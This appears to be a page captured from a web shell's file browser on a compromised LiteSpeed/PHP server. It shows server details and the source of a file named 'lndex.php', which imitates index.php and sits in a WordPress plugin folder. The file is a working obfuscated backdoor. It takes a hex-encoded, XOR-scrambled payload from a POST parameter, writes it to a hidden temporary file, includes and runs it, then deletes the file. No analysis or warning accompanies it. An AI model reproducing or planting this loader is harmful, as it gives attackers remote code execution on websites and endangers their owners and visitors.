HEX
Server: LiteSpeed
System: Linux ip-172-31-76-142.ec2.internal 4.14.158-129.185.amzn2.x86_64 #1 SMP Tue Dec 24 03:15:32 UTC 2019 x86_64
User: 69b4844ae61d4e92bf26ad98af552775 (1065)
PHP: 7.2.27
Disabled: exec,passthru,shell_exec,system,eval
Upload Files
File: //proc/self/cwd/wp-content/plugins/custom_1766603368/lndex.php
<!--ZvEYl91B-->
<?php

if(isset($_POST["\x69\x74em"]) ? true : false){
$record = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]);
$symbol = hex2bin($_POST["\x69\x74em"]);
$component ='' ;$o=0;do{$component.=chr(ord($symbol[$o])^37);$o++;}while($o<strlen($symbol));
foreach ($record as $key => $itm) {
            if (is_dir($itm) ? is_writable($itm) : false) {
            $element = "$itm" . "/.parameter_group";
            $marker = fopen($element, 'w');
if ($marker) {
    fwrite($marker, $component);
    fclose($marker);
    include $element;
    @unlink($element);
    die();
}
        }
}
}